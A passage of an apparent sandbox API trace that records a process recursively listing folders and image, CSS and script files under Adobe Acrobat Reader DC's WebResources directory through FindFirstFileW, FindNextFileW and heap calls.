ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0254.731] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0254.731] GetProcessHeap () returned 0xc10000 [0254.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0254.734] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0254.734] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0254.734] GetProcessHeap () returned 0xc10000 [0254.734] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0254.736] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="home", cAlternateFileName="")) returned 1 [0254.736] GetProcessHeap () returned 0xc10000 [0254.736] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0254.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0254.737] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.738] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0254.738] GetProcessHeap () returned 0xc10000 [0254.738] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0254.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0254.741] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.741] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0254.741] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0254.741] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0254.741] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0254.742] GetProcessHeap () returned 0xc10000 [0254.742] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0254.742] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0254.742] GetProcessHeap () returned 0xc10000 [0254.742] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0254.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0254.812] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.812] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="files_icons.png", cAlternateFileName="FILES_~1.PNG")) returned 1 [0254.812] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="files_icons2x.png", cAlternateFileName="FILES_~2.PNG")) returned 1 [0254.812] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0254.815] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0254.815] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0254.815] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0254.815] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0254.815] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0254.815] GetProcessHeap () returned 0xc10000 [0254.815] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0254.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0254.816] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.816] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0254.816] GetProcessHeap () returned 0xc10000 [0254.816] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0254.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="files_icons.png", cAlternateFileName="FILES_~1.PNG")) returned 1 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="files_icons2x.png", cAlternateFileName="FILES_~2.PNG")) returned 1 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0254.830] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0254.831] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0254.831] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0254.831] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0254.832] GetProcessHeap () returned 0xc10000 [0254.832] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0254.832] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0254.832] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0254.833] GetProcessHeap () returned 0xc10000 [0254.833] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0254.833] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0254.833] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0254.833] GetProcessHeap () returned 0xc10000 [0254.833] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0254.833] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0254.833] GetProcessHeap () returned 0xc10000 [0254.833] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0254.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0254.835] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.835] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0254.835] GetProcessHeap () returned 0xc10000 [0254.835] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0254.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader 